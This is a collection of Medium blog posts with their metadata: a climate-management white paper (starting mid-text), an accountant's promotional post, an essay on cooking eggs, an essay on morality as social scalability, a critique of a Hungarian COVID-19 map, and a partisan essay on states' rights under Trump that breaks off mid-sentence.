provide points of reference in the implementation of these new processes. The wheel does not need to be reinvented here. The resulting management topology is multi-layered with a clear meta management level at the bottom: Figure 3: Management topology Cyclic management Most forms of modern management philosophies are cyclic in nature. The 2020 Paris anniversary situation highlights the reason for this change in management mode. Projects with long management phases with up-front or top-down waterfall planning are prone to large deviations from their original goals. Considering a six year cycle for IPCC, continuing in the current speed of iteration would imply that in at most three cycles the century course would be laid out without any means left for adaptation. Cyclic project management acknowledges for the fact that things go wrong, and implements a higher frequency of iteration to give leeway for regular changes in course. Obviously agility as it is displayed in commercial projects is not realistic for IPCC with thousands of scientists, or Paris agreement with close to two hundred nation signatories. The cyclic nature of climate change mitigation should best consider three different levels with varying frequency: High level policy cycle where Paris agreement signatories meet and are able to commit effective policy changes Medium level climate panel cycle where IPCC working groups meet and are able to deliver wrapped up publications Low level data reporting cycle where all climate relevant data is provided in up-to-date fashion by all stakeholders Given the utmost importance of the climate crisis finally arriving in the minds of all relevant world leaders a 2 year period for the high level cycle should be realistic to attain. This should be well aligned with national budget phases, which might require adaptation for full efficiency. The climate scientists should definitely target 1 year or less for future reporting phases. It is to be considered that climate modeling is a highly complex and compute resource intense process, but there is no need for full new simulations coming out every year. The current practice of intermediate reports could be extended though to more thorough yearly reports with an updated calculation of the most important pathways. Data reporting needs to be at a much higher pace for the management controls to efficiently function. A six week cycle would enable even market driven topics like energy management to react in proper fashion. Figure 4: Tri-cyclic management phases Such a tri-cyclic management model would look as follows: The six week data cycle would take a lot of pressure from the IPCC working groups since many report consumers mainly require updated data sets to work with. A transparent open data platform should provide an ongoing view into all involved climate input and output variables. FRIDAY4FUTURE.NET will be created to establish a reference crowd sourced variant of such a platform. The goal of this project is to create pressure towards the involved policy makers today to collect data at higher frequency. This should deliver valuable data sets within a short term time frame and prepare governments and academic institutions in a soft manner for the time when an official United Nations governed body like the IPCC starts to operate in a more agile fashion. The following chapter will describe how the reference platform will look like. Open climate platform I asked myself the question “How do you create an open climate data platform?” often in recent times. As things stand there is a multitude of different sources around the IPCC, governmental publications, academic research and then there is an obvious huge gap in the available data sets where nothing seems to be handily available. Would it not be nice to have, unrelated to the suggested change of course in this white-paper, a website where you could go to and simply access the latest climate related data? As it stands even accessing the data beneath the nice charts and visualizations in the IPCC reports is a difficult to neigh impossible feat. If you venture into the heart of the servers storing the climate data for IPCC you will find endless troves of simulation runs and mountains of related data. But simple, easy to implement data sets? You are out of luck on that one. Now, if you would like to find global carbon emission data on a per country/year level, or even lateral climate data like solar radiance maps, wind maps or other information that influences how climate change mitigation might work out in some region of the world, that leaves you on a hard (and nonetheless exciting) treasure hunt. How would you collect all that data and make it centrally available? It became clear to me in one of my endless climate research sessions. Wikipedia. Open Street Maps. Crowd sourcing is the magic spell to accumulate data distributed all over the world in hard to access places. We need to activate national citizens that speak the administrative language to contact the governments for carbon budget data. We need to activate IPCC researchers or students in their vicinity to retrieve those hard to find spreadsheets that actually built the charts in the reports. Crowd sourcing allows us to divide and conquer the issue of data acquisition. The charming thing about such an approach is that we can right away start to build soft pressure towards the entities less willing or capable of producing the data on time, let alone in my desired higher frequency fashion. Regularly asking the government’s environmental department for carbon emission data will trigger more efficient retrieval processes in house. If commercial users get accustomed to semiannual updates from one nation they might just as well start to ask why other nations only provide years old data. Crowd sourcing is a proven mechanism that has created invaluable data sets in the past. And the high criticality of the climate crisis certainly validates the efforts involved to create a platform efficient, maybe even fun, to do so. This is the mission of FRIDAY4FUTURE.NET, where we set out to do just that. Save the world with data. The platform is currently in bootstrapping phase and will launch in early 2021. Get in touch if you plan to utilize such kind of data, or if you think you might participate in crowd sourcing activities. Summary and Outlook This white-paper is written to serve as an out-of-the-box view on climate crisis management. The central premises are: We do live in a time already affected by global warming We do have the process and operational tools necessary to manage complex projects We currently lack the application of such tools to the carbon budgeting measures I hope that the information contained within this paper finds an interested reader or two, and spawns interest in ISO-grade management controls. There is an obvious challenge in the lack of executive power overseeing the whole climate situation. The United Nations as such are a loosely coupled union, and the lack of consequential decisions around the Paris agreement highlight this unfortunate situation. Maybe the upcoming IPCC report will further the sharpening of the public perception in regards to climate change projections. The five year Paris anniversary already marked a step in the right direction, with countries strengthening their zero-emission goals. Personally I do keep my fingers crossed, since the future livelihood of us on our planet, as well as our whole biosphere with the wonder that is flora and fauna, does depend on it.

https://medium.com/@normanmatrix/the-berlin-manifesto-v2-0-6a27e5bdd973

['Norman Matrix']

2020-12-16 09:17:20.215000+00:00

['Ipcc', 'Paris Agreement', 'Climate Action', 'Fridays For Future', 'Climate Change']

What to expect from your certified public accountant?

Do you want someone to help take care of your bookkeeping and taxes? You may be feeling overwhelmed with the idea that you need a certified public accountant. There’s no need to worry, we’re here to help! In this blog post, we’ll go over what you can expect from us and offer some tips on how you can prepare for your meeting. What can we help you with? You will receive a customized plan to suit your needs properly. We are always on board for whatever you need. Whether it’s doing year-round tax preparation, or helping you manage the books, don’t fret! Our goal is to listen and understand what your business needs. From there, we’ll create a custom plan that will suit its specific needs. Every client has different accounting requirements, so no two plans are the same. This is why it’s crucial to bring along all of your relevant documents when meeting with us. In business, taxes are inevitable. Windroot Business Services is a certified public accountant(CPA) that can help you with all your tax needs and answer any questions you may have about how the process works. We provide accounting and bookkeeping services for small to medium-sized businesses in Schaumburg and we offer free consultations so don’t hesitate to reach out! When you start a new business, it’s easy to get caught up in the excitement of your initial idea. Don’t forget the importance of a sound financial strategy in order to make sure that your business can keep thriving, even when there are obstacles along the way. Accounting and bookkeeping services can help you maintain accurate financial records so that you will have peace of mind for your business strategy, as well as you can stay up-to-date with the most recent tax laws. We are available to help you assess how you are currently using financial resources in your business and provide information about tax savings opportunities that might be available to you. It would be our pleasure to assist you with your accounting needs. With the growing business world, it is crucial to have a sound financial strategy in order to make sure that your business can keep thriving, even when there are obstacles along the way. Accounting and bookkeeping services can help you maintain accurate financial records so that you will have peace of mind for your business strategy, as well as you can stay up-to-date with all that is taking place in your business. Windroot Business Services is a company that provides accounting services to small businesses. Accounting can be broken down into three basic areas: financial statements, taxes, and audits. These are all essential aspects of running any business because they provide you with valuable insights on how well your business is doing financially. An accountant can also help you avoid costly mistakes through their expertise in tax laws and regulations. Many people think that only rich companies need accountants or that accountants spend most of their time making sure you pay as little money as possible in taxes but this couldn’t be farther from the truth. An accountant is essentially working for you to streamline your business so that you can actually make money with it instead of running around in circles.

https://medium.com/@windrootbusinessservices/what-to-expect-from-your-certified-public-accountant-73333781bac2

['Windroot Business Services']

2021-11-29 05:07:35.605000+00:00

['Bookkeeping', 'Accounting', 'Accountant', 'CPA', 'Tax Preparation']

An egg by any other name, is but a meal!

I can cook really complicated recipes, but it takes a real talent to do the perfect egg. Chrissy Teigen So how do you fry or scramble the perfect egg? As chef owner (patron) of a restaurant group I have hired my fair share of chefs over the past 30 odd years. Our food was considered high end, I prefer to call it a decent bistro offer. I consult now, but I stood at stoves for at least 25 of those 30-odd years. I’ve honed the practical side of my chef interview process down to this: cook me your signature dish; Make me some mayonnaise from scratch; and Either fry or scramble me 2 eggs with one slice of toast. I tell them I don’t mind what bread you use, but I’m judging it; I want soft eggs if fried, and I don’t care what you put in the scrambled, but it’s the eggs I’m judging, not the added ingredients. Oh, and by the way – don’t do point 1, until you’ve satisfied me with points 2 & 3. Some of these chefs have been cheffing for many years. My restaurants were in Africa; Europe and America. I use the same interview test for all units and the results are universally similar. Few chefs cook eggs well and many of the chefs don’t get to do point 1. Watching a person cook eggs will teach you all you need to know about that individuals temperament and cooking ability. And why choose an egg as the test ingredient? Cooked well, an egg is a thing of great beauty, but it’s equally very easy to botch. Attention to detail is a hallmark of a great chef and his kitchen. There is no point having the best ingredients cooked to perfection but served on a chipped plate. You may as well use lousy ingredients. Leaving feathers on a chicken; sinew in some beef; leaving pin bones in a fish fillet; uncovered garlic in the fridge. All these little error examples impact a well run kitchen and it’s always about attention to detail, which you need to apply to cook the perfect egg along with timing – so what better ingredient to test our chef with. I don’t expect perfection, but I do note the process; the timing and mostly the attention to detail. Great chefs have impeccable culinary timing. Take the best ingredients and time the execution wrong and you’ve got mediocrity. Equally take cheap ingredients – (a beef shin), and time the cooking process well, and you’ve got perfection. The egg is a humble ingredient, yet magical. Take it away from food and you’re struggling. Add it to cakes; any baking; sauces; rich ingredients; stocks; simple or complex ingredients; meat; fish; mains; dessert; starters; drinks; vegetarian etc. and you elevate the dish. It’s a synergistic ingredient, it always adds value! If a vegan is going to cheat – it’ll be an egg that causes the slip. Picasso says the egg is the essence … when searching for pure form, you arrive at the egg. I agree. The egg requires no skill to cook it, and much skill to cook it well. Always fresh eggs, obviously. Crack them open firmly, I prefer two hands – that way you can smell and see the egg before adding it to other eggs, or to other ingredients. The ability to crack an egg with one hand shows us what? Absolutely nothing. Like revving a motorcar – it doesn’t mean the vehicle will arrive at a destination – only that it can make noise. I don’t like noise in a kitchen. Unnecessary movement is clutter to the eyes! Fried: Select a pan – for home cooks, Teflon is good. If you can, the pan should not be too big – you don’t want the egg white spreading everywhere, you end up with a thin white ‘canvas’ to hold the yolk. If you’ve only got a large pan, when you add the eggs, tip the pan so the egg collects in one place and then gently lower the tilt of the pan watching while the white begins to cook and firm up. That way you maximise the whites thickness. Don’t use an egg ring either, it produces rubber. The ring gets too hot and cooks the white edges to a hard rubbery yuck – awful! Equally, no microwave if possible … surely our lives are not in that much of a hurry! Two schools of thought on the white of an egg – ‘hard fry’ it and get a slightly crisp, brown edge to the egg. OR gently “poach/fry” and end up with a soft product. I am definitely in the soft delicate school of thought. If you want crispy – eat crisps! However I will not ‘judge’ the other option if prepared well. But I think the egg is delicate and should be cooked as such. For me, it’s never oil, of any sort, only butter. Oil provides a harsh heat – good for fries. Unsalted butter is best. So medium to hot pan, grind black pepper into the pan and let it toast slightly. 2 cracked eggs waiting in a small bowl – I check to see they’re good eggs. I’ve seen what a bad egg does to the human stomach! I can smell the pepper toasting, time to add the butter, it can sizzle to start but mustn’t stay sizzling. Completely melt it, but it mustn’t be bubbling or get too hot. Let the toasted cracked pepper infuse into the butter. You’re hearing a symphony in your head. Take you’re time – a fried egg takes less than 5 minutes. Who hasn’t got 5 minutes for perfection! Add the eggs, ensure the white is thick, not spread all over the bottom of the pan. The eggs are separated, cooked individually in the same pan at the same time. Just as nobody likes sibling twins joined at the hip, so eggs don’t like being joined! A slice of thick ciabatta or similar bread into the toaster, push the plunger down. You want the thickness of the toast so it absorbs the velvet richness of the yolk. Put a lid on the eggs. I want a soft yolk with a pale cloudy film over it. I don’t want wobbly albumen. But I must have a soft white with a runny yolk. It’s a dance. Open the lid and only now grind sea salt and more ground pepper. Salt toughens the albumen – and adding it early does nothing for the taste. You want to imagine layers of flavour – the seasoning, egg, butter, toast. Up pops the toast, nicely browned, the eggs are perfectly fried. Never shocked by the heat of the pan, always caressed. You smear salted butter on the toast – liberally, the toast is hot enough to melt the butter and create alchemy. Butter and egg together is heavens gift to your taste buds. Gently lift the first egg and place it off centre on the toast. The second egg sits on the warmed plate. Never on the toast – make two pieces of toast if that’s your thing! You’ve toasted the bread for a reason, you’ve cut it thick (at least 2 centimetres) for a reason you want a slightly crisp toasted outer, unctuous from the smeared butter, and a pillow soft middle to your toast, if you put both eggs on one slice of toast, the yolk drowns the fibre of the toast. The egg should be speckled with a fine dusting of ground black pepper, no extra salt. I slide my knife across the plump yolk as if I’m buttering the egg and thus distribute the yolk across the white evenly so you eat both simultaneously with every bite. That’s why you place it off centre - push the yolk across the bulk of the toast. The second egg provides the yolk sauce for toast, which you’ve cut into bite sized pieces. My wife cuts her toast crusts off and dunks them into the yolk and eats that first. I don’t think there is a better product, packaging or meal than the humble egg. Fried egg variations: When you grind pepper in the pan, after it’s toasted, add a few splashes of Worcestershire sauce and let it caramelise, then add the butter and eggs as above. OR Buy toasted onion flakes (or make your own) and follow the process for the main recipe, but sprinkle toasted onion flakes into the uncooked albumen and let it incorporate into the cooking of the white. Adds a crunch that sautéed onions cannot. Smoked onion chips kick it up a notch too. OR After the pepper toasting, slice the stem end of a ripe tomato about an inch thick and push it onto the dried pan whilst on the heat, let the tomato juices release and splutter but keep pushing the piece of tomato against the bottom of the pan and move it around the entire pan – until the juice begins to caramelise. Add a 1/2 clove finely diced garlic and the butter. Once, and only once the garlic is cooked, and incorporated into the butter, add the eggs and follow as above. Finish with finely diced chives. Let me know your egg secrets. Scrambled: I follow Joel Robuchon and his mashed potato theory, when cooking scrambled eggs. I am not an old world classic French chef. I steer clear of cream, butter and such ingredients WHERE POSSIBLE – I tend to cook in a more Mediterranean style, but scrambled eggs are one of my exceptions. Joel says when you’ve added what you think is enough butter to mashed potato – add more butter! I say the same for scrambled eggs. And I never, ever add milk. Why would you? Always ask this simple question – by adding a particular ingredient, what does it add to the dish! I think people add milk because they’re lazy and the milk softens the ‘scramble’. But if you cook them properly, they’re perfectly soft without the milk. I use salted butter into a cold pan (Teflon or similar non stick is best for a home cook) please don’t add ‘cook and spray’ or similar. One good Teflon pan is cheaper to buy than a years supply of ‘spray and cook’ or similar product, and the pan lasts a lifetime if cared for. While the butter is warming slowly, (you can obviously do the pepper thing from the fried option above), crack your eggs into a decent sized bowl. You want to incorporate some air so not a bowl that barely fits the eggs. I find a sturdy glass option is best. Now with a balloon whisk give the eggs a solid whisk to totally incorporate the yolk into the albumen and add some air. It should finish frothy, one colour, with no albumen lumps. The butter should be hot but not sizzling. Add a piece of cold butter, and the egg mixture simultaneously to the pan and let it cook. Do not touch or scramble yet. Add a little more pepper, but no salt at this point. Add 1/2 teaspoon parsley … dried is fine. Just use less. (If I’ve got celery leaves, I chop them very fine and add that instead, I love the slightly peppery flavour of the leaves). Now the bottom on the egg mix is starting to firm up, add a piece of butter and gently move the whisk through the base of the eggs to break the base up, but just to incorporate, don’t whisk vigorously, turn the cooked bottom egg over so the runny top egg touches the pan bottom. Lightly salt the egg with sea salt. Cook a bit longer and switch off the pan. Add a lid and leave to rest for 1 to 2 minutes. Stir the egg with a spatula and serve, it should have light individual lumps of soft scrambled egg, not a slurry of cooked sick! If you’re going to add ingredients like peppers and onions, make sure they’re beautifully caramelised and cool, before adding to the egg mix. All too often I eat scrambled egg with added ingredients and all I taste are the added ingredients, not the egg. By adding it cold and giving the egg time to cook alone, you’ll get the full flavour of egg plus the additives. If you’re eating salmon with the eggs, use decent salmon – Not those slightly grey offcuts that taste like the mud at an English seaside resort at low tide. Add a pinch of curry powder or a few drops of Tabasco to your egg mix and cook. If you are adding flavour to scrambled egg, unlike fried, add it to the whisked raw mixture so it incorporates flavour while cooking. Just remember that egg is a delicate flavour so doesn’t need huge amounts of added flavour ingredients – if you cannot taste the egg, it’s not correct. As I sit looking at the debris of 2020, I think a lot of people are deciding to reboot. Maybe cook more, eat healthier, I truly hope this is one of the positive side effects of Corona. Home cooked food is so simple and one of life’s true pleasures. The egg is one of the humble pleasures I can hold onto. It’s my ultimate comfort food. I’m guessing a lot of people forced into lockdown, who can’t or don’t cook, and with restaurants closed and supermarkets a nightmare to engage with, are eating more eggs because they don’t have many other options. Literally anybody can cook an egg into a meal and onto a plate. And it’s so versatile. The egg is a packaged food source that takes minutes and delivers every time. Enjoy. B

https://uvebruce.medium.com/an-egg-by-any-other-name-is-but-a-meal-76876311917b

[]

2020-07-18 11:38:42.463000+00:00

['Lifestyle', 'Foodies', 'Cooking', 'Vegetarian', 'Food']

Meditations on morality

The universe doesn’t optimize for morality. The moral arc of the universe doesn’t bend toward justice unless we bend it. Even ‘good’ people don’t necessarily optimize for morality, unless they are primed by their environment to look at things through a moral lens. We tend to optimize for whatever we’re focused on. That’s not usually morality — often it’s survival, or something we have been told is equivalent to survival (such as money, miliary dominance, or the relative power of our ethnic or political group). Nevertheless, improving the world (and encouraging others to do so) is worthwhile. The world can’t be fixed but it can be improved. Some improvements are even low-hanging fruit — never performed, because distractions from moral imperatives are so effective. Optimizing for morality is just like optimizing for anything else: if you don’t keep your model updated with new information, you will end up maximizing something else entirely — something that isn’t quite your goal, and that (at the extremes) conflicts with it. Morality is hard to quantify, but ethical systems are not. Each ethical system is an attempt at codifying what constitutes moral behavior. Ethical systems conflict on the margins and in pathological or corner cases. Our familiar moral thought experiments tend to highlight these conflicts, because they are designed to differentiate between systems, as a test of which system is more effective. Nevertheless, ethical systems tend to agree outside of pathological cases — because they are attempts to approximate the behavior of our collectively-evolved internal compass, which basically does generally agree on what is right. Moral lapses tend to occur in a domain in which ethical systems are in agreement about the appropriate behavior. They tend to be caused by optimizing for some goal other than morality (or even adherence with some ethical system). By studying the common features of ethical frameworks, we can determine something about the function of the moral compass. Specifically, every ethical system appears to be a heuristic or set of heuristics about how to scale society beyond the individual or family unit while minimizing damage[1]. So, we can conceive of morality as social scalability. Knowing what we are trying to do — in other words, optimizing for social scalability, rather than trying to minimize a sense of disquiet that itself slowly evolved as a metric for whether or not our behavior scales to a 150-person group, differs between individuals, and cannot be easily quantified — allows us to more easily determine when particular ethical systems are appropriate tools. Even without such explicit optimization, our moral compass is effective when it is used. Normalizing looking at things through a moral lens is one way to make use of the moral compass more widespread. Organized religion once served part of this function: a community would get together, talk about morality, and enforce morality by shunning or criticizing people who performed acts deemed immoral. However, organized religion has vulnerabilities even in this role: despite the flattening created by the protestant reformations, these structures tend to be hierarchical and authoritarian, focusing on codified virtue ethics, and are isolated to a separate conceptual domain of life. Because of the hierarchy, a congregation has a single point of ethical failure: since a single individual controls what is and is not considered a moral lapse, that individual exerts substantial amounts of power over the norms of the group. With multi-level hierarchies (such as in catholicism), a single person in a position of power can effect even greater damage to norms. There are various mechanisms intended as checks on this power (which I attribute, both on the protestant and catholic sides, to the criticisms that led to the reformation), but they are often ineffective. The worst case scenario, when the hierarchy goes wrong, is something like Jonestown or Heaven’s Gate. Because of the emphasis on codified virtue ethics, norms cannot quickly adapt to changes in circumstances. In many cases, the original reasons behind particular rules are forgotten and the rules are applied outside of their intended scope. (For instance, anti-castration rules in the New Testament were intended to distinguish christianity from other, more extreme cults that arose within judaism, many of which required adherents to castrate themselves in order to guarantee celibacy. Such rules have been deployed against transgender people.) It’s easy for virtue ethics to be coopted as political weapons. The conceptual isolation of moral thinking to a particular corner of life makes it possible for people to perform immoral deeds without thinking about the moral implications, despite having a venue in which they are required to employ a moral lens. Such “sunday christians” do not think of themselves as bad people — they simply don’t consider morals outside of church, and therefore are unable to evaluate their own righteousness. The very nature of religious framing produces a vulnerability in the form of various reversals. Religious framing claims that what is good for the society will inevitably be rewarded in the individual. This is not necessarily true. When we contract the time-frame — saying that good deeds are rewarded during life and bad ones punished — we end up with something like the prosperity gospel, which claims that behaviors that materially benefit the individual in the short term are necessarily righteous while those who are suffering are necessarily evil. Since the function of ethical systems is to discourage people from acting in their own short-term self-interest when that interest creates greater damage to society as a whole than the benefits accrued to the individual, a prosperity gospel framing actively inverts this and justifies immorality a priori. Rather than an isolated moral domain, we should encourage people to discuss and enforce moral behavior in their daily lives. When making business decisions, we should ask “is it right” before asking “will it make money”. We may be wrong on both counts, but by asking, we will at least consider the moral dimension — eliminating the low-hanging fruits of obviously-immoral behaviors we engage in because we were focusing too intently on something else. By talking about morality, we remind people to think about things through a moral lens and we give them the mental tools to consider moral issues — tools that necessarily go beyond virtue ethics, and should include utilitarianism, De Bouvoir’s existentialist ethics, and the moral imperative. People who care about doing the right thing will be more effective at it. By holding people accountable for their ethics collectively, we force people who don’t care about doing the right thing to nevertheless behave in ethical ways (or spend effort hiding their ethical lapses). Ultimately, it makes life harder for the people who make life harder for the rest of us. It becomes in even sociopaths’ self-interest to contribute to the greater good. [1] The following ethical systems can be thought of in terms of scalability of different aspects of life: Virtue ethics: this set of behaviors tends to be found in healthy and well-functioning societies, so it becomes part of a set of “best practices” for individuals. (Different virtue ethics have different rules, and often mix in hygene-related rules or rules that depend heavily on the structure of the society. Aristotle’s virtue ethics has material that only makes sense in a greek-style society with citizen-soldiers rather than a standing professional army, for instance.) Kant’s moral imperative: can this behavior scale to an entire population? In other words, could what I am doing now reasonably become a part of a future virtue ethics? Hedonism: is this action producing any good at all? Utilitarianism: is this action producing a net gain in the happiness of the society? De Bouvoir’s existentialist ethics: is this action making the world freer? (In other words: am I ensuring that the expressive potential for other people’s decisions grows?)

https://enkiv2.medium.com/meditations-on-morality-d6d4bb51d9e0

['John Ohno']

2018-04-01 14:31:01.120000+00:00

['Morality', 'Ethics', 'Sociology', 'Philosophy']

How not to visualize Coronavirus data

How not to visualize Coronavirus data The following map was published today on the official Coronavirus site of the Hungarian government. Map showing “Affected municipalities and age distribution of infected people”. Source. The map shows all municipalities in Hungary. As the note on the bottom explains, municipalities that had at least one (known) Coronavirus infection since March are shown in red, the ones with no infection yet are shown in green. Putting aside the fact that the map has no information whatsoever regarding the “age distribution of infected people”, this is still a terrible map. Using red and green as colors to show information is bad for accessibility: people with red-green color blindness cannot distinguish these colors. There is no good reason to use dots for each municipality (that even overlap each other) instead of a choropleth map, where the geographical area of each municipality would be colored based on some metric. This binary metric does not really offer any insight: what do we learn from the fact that there was at least one infected person in a town? Instead, the metric we should use is the number of cases per 100000 inhabitants as this would tell us how bad the situation really is in a given location. Choropleth map of Hungary showing population density on the district level. CC-BY-SA 4.0 by Klarigi. The Hungarian government does not release detailed Coronavirus data, therefore I can only add an illustrative map here instead of one showing real data. In addition to these problems, in my opinion, posting a static image instead of an interactive map on a government website in such a situation is inexcusable. One can use Leaflet or D3.js to create whatever interactive map they want, or, if they do not have that expertise in the team, they can just create interactive maps with free online tools, such as DataWrapper.de. The Atlo team, a group of data journalists maintains a much better dashboard than this simple map by keeping track of the government’s daily announcements. However, since this is still just a few data points, the highest granularity available there is still on the county level. A government does not need a group of volunteers to do its job though. For example, the Dutch government has a detailed, interactive (and user friendly) Coronavirus dashboard that is updated daily.

https://medium.com/@andrashann/how-not-to-visualize-coronavirus-data-b5e9c9fef7cd

['András Hann']

2020-11-18 17:42:17.303000+00:00

['Data Visualization', 'Maps', 'Covid 19']

Trump Is the Reason for States’ Rights

Trump’s tumultuous presidency reminded us yet again why the rights of the states need to be protected against an encroaching federal government. In only 4 years, the states sued his administration 138 times, far more than any other president. Where to draw the line between the powers of the federal government and those of the states has been a major issue in American politics from day 1, with the debate being just as fiery today as it was in the beginning. The Trump administration’s abuse and/or misuse of power, though, made it clear why the founding fathers gave the states enough power to stop the federal government in its tracks. These are the 9 examples where the states stood up to the Trump administration’s overreach: election meddling, preventing investigations, rolling back environmental protections, creating callous immigration policies, removing protections for transgenders, bullying governors during the pandemic, deploying federal agents in Portland, targeting marijuana laws, and shielding for-profit universities. In all of these examples, state governments stopped Trump and/or his allies just as the founding fathers intended. First, a Quick Civics Lesson The debate on how to separate federal and state powers began during the Revolutionary War, while the 13 original colonies fought for their independence from Britain. At the Second Continental Congress in 1777, state delegates debated and drafted the Articles of Confederation and Perpetual Union, and, in 1781, state governments ratified the document, making it the law of the land. This document gave Congress the authority to maintain an army, make treaties, and to coin money, all of which were wartime necessities. However, in subsequent years, it became apparent that the national government didn’t have anywhere near enough power to handle the many challenges of the young country, particularly the authority to levy taxes and regulate commerce. Shays’ rebellion highlighted the federal government’s inadequacy because it couldn’t pay for troops, with the rebellion having to be put down by state and local soldiers. This prompted many to push for a new founding document, in which the power of the federal government would be heavily expanded. In 1787, during the Constitutional Convention, state delegates drafted the US Constitution, giving the federal government very specific powers over the states, known as the enumerated powers, found in Article I. The seminal document was ratified in 1789. Amendments were eventually passed to ensure this power was kept in check. Despite this, the push and pull between the federal government and the states is never ending, as the provisions below are open to interpretation. The provisions recognizing states’ rights: The 10th Amendment: “The powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people.” Many of the state delegates were not happy with Constitution, as they believed it was not specific enough in regards to the rights of people. They agreed to ratify the founding document on the promise that a Bill of Rights would be passed, in which basic liberties would be clearly listed. However, some objected because, as Alexander Hamilton put it, a Bill of Rights “would contain various exceptions to powers not granted; and on this very account, would afford a colourable pretext to claim more than were granted.” In other words, he feared it would tip the balance of power towards the federal government. The solution was the 10th Amendment, which makes it abundantly clear that the powers of the federal government are limited to only what is listed in the Constitution. All other powers are left to the states and their residents. Article V: “The Congress, whenever two thirds of both Houses shall deem it necessary, shall propose Amendments to this Constitution, or, on the Application of the Legislatures of two thirds of the several States, shall call a Convention for proposing Amendments, which, in either Case, shall be valid to all Intents and Purposes, as Part of this Constitution, when ratified by the Legislatures of three fourths of the several States, or by Conventions in three fourths thereof, as the one or the other Mode of Ratification may be proposed by the Congress.” This means the power to alter the Constitution was given exclusively to state legislatures, 34 to call the convention and 38 to ratify a new amendment. So far, only 27 amendments have been agreed upon, the last one being in 1992. The 11th Amendment: “The Judicial power of the United States shall not be construed to extend to any suit in law or equity, commenced or prosecuted against one of the United States by Citizens of another State, or by Citizens or Subjects of any Foreign State.” The meaning of this amendment is ambiguous, but in this context lawyers and scholars have generally interpreted it to mean that federal courts cannot hear cases against a state because they have sovereign immunity unless the state consents. However, parts of a state, such as government officials and departments can be sued. The provisions limiting states’ rights: Article VI (“The Supremacy Clause”): “This Constitution, and the Laws of the United States which shall be made in pursuance thereof; and all treaties made, or which shall be made, under the authority of the United States, shall be the supreme law of the land; and the judges in every state shall be bound thereby, anything in the constitution or laws of any state to the contrary notwithstanding.” In Federalist №33, James Madison explained that the federal government holds power over the states and their residents only in matters specifically mentioned, and, “If the federal government should overpass the just bounds of its authority and make a tyrannical use of its powers, the people, whose creature it is, must appeal to the standard they have formed, and take such measures to redress the injury done to the Constitution as the exigency may suggest and prudence justify.” Article I, Section 8 (“The Commerce Clause”): This gives Congress the power “To regulate Commerce with foreign Nations, and among the several States, and with the Indian Tribes.” On the surface, this authorizes Congress to impose tariffs on foreign goods, enter into trade agreements with foreign nations, resolve disputes between states, and to ensure smooth interstate commerce. This also means states have limited ability to regulate their own commerce, as the Dormant Commerce Clause dictates that “states cannot discriminate against interstate commerce nor can they unduly burden interstate commerce, even in the absence of federal legislation regulating the activity.” Article I, Section 8 (“The Necessary and Proper Clause”): This gives Congress the power “To make all Laws which shall be necessary and proper for carrying into Execution the foregoing Powers, and all other Powers vested by this Constitution in the Government of the United States, or in any Department or Officer thereof.” Also called the “Sweeping Clause” or the “Elastic Clause,” this is considered by some to be the most important and controversial part of the Constitution, as it is the source of the majority of federal laws due to various interpretations of the word “necessary.” Article I, Section 10: “ No State shall enter into any Treaty, Alliance, or Confederation; grant Letters of Marque and Reprisal; coin Money; emit Bills of Credit; make any Thing but gold and silver Coin a Tender in Payment of Debts; pass any Bill of Attainder, ex post facto Law, or Law impairing the Obligation of Contracts, or grant any Title of Nobility… lay any Imposts or Duties on Imports or Exports… lay any Duty of Tonnage, keep Troops, or Ships of War in time of Peace, enter into any Agreement or Compact with another State, or with a foreign Power, or engage in War, unless actually invaded, or in such imminent Danger as will not admit of delay. “ Seemingly just a list of prohibitions for the states, these are necessary to create a coherent nation, as previously the states operated more or less independently. Instead, this provision gives such powers exclusively to the federal government. This provision has also been in the crosshairs of numerous Supreme Court lawsuits, particularly the “Obligation of Contracts” part. The 14th Amendment: “No state shall make or enforce any law which shall abridge the privileges or immunities of citizens of the United States; nor shall any state deprive any person of life, liberty, or property, without due process of law; nor deny to any person within its jurisdiction the equal protection of the laws.” In the wake of the Civil War, the 13th, 14th, and 15th Amendments were passed, together called the Reconstruction Amendments. The 13th made slavery illegal, the 14th prevented states from depriving people of their rights, and the 15th forbid racial discrimination in elections. However, the 14th Amendment has been the subject of several Supreme Court cases, particularly the “due process” clause. The above Constitutional provisions have been used to advocate for both sides of the states’ rights debate. Though, the case for states’ rights has faltered over the years, as the power of the federal government has expanded mainly through the use of the commerce clause and the necessary and proper clause. However, the presidency of Donald Trump has made it clear why states’ rights need to be preserved. Election Meddling Trump demonstrated his willingness to play dirty during and after the 2020 election, and, if not for states’ rights, he could have done significant damage. The power of the president has grown substantially due to the Unitary Executive Theory, in the which some lawyers have successfully argued that Article II of the US Constitution gives the president absolute control over the executive branch. Trump used this power to put Republican donor Louis DeJoy in charge of the US Postal Service, which had 711 high-volume sorting machines removed in the months leading up to an election with record numbers of mail-in votes, the majority of which were expected to support Biden. Trump also left the Federal Election Committee impotent, as he refused to fill committee seats, meaning they were unable to properly regulate the election. Likewise, Trump installed loyalist John Ratcliffe as the Director of National Intelligence, whose job it is to oversee the intelligence committee, the entirety of which agreed that Russia meddled in both the 2016 and 2020 elections. However, both Trump and Ratcliffe refused to acknowledge and prevent it. Furthermore, when it became clear that Trump had lost the election to Biden, he tied up the courts with numerous lawsuits claiming the election was fraudulent. Judges threw out nearly all of these due to lack of evidence. He is also consistently attacking press outlets that don’t support his narrative, making disputed or outright debunked claims, undermining experts that disagree with him, etc. Lindsey Graham, one of Trump’s most outspoken supporters, called Georgia’s Secretary of State to ask him to find ways to throw out legal votes while the state was in the middle of a recount. All of this demonstrates Trump and his allies’ willingness to win at any cost. Thankfully, though, the president and his supporters in the federal government can do very little to control an election, as choosing the president is firmly in the hand’s of the states. Article II, Section 1, Clauses 2 and 3 of the Constitution spells out the Electoral College, which has been the source of controversy since the beginning. Even today, there is a growing movement to abolish it. However, imagine what Trump and his allies could have done if the election was not protected by the states. A lawsuit filed by New York, New Jersey, and Hawaii against Louis DeJoy and the USPS claims “The United States Postal Service has been thrown into chaos. Thanks to a series of sweeping policy changes beleaguered by partisan meddling, the independent agency has become a political football set to undermine a federal election.” This again demonstrates the power the states have to keep employees of the federal government from abusing their power. Preventing Investigations Trump, his organization, and his allies are not immune from investigations because state attorneys general do not answer to the US Justice Department. Perhaps the most important of these investigations is New York’s Attorney General Letitia James’ investigation into the Trump Organization allegedly inflating the value of some assets to save money on loans and insurance, while deflating the value of others to avoid real estate taxes. In particular, the investigation focuses on 4 properties: the Seven Springs Estate, 40 Wall Street in Manhattan, the Trump National Golf Club in LA, and Trump International 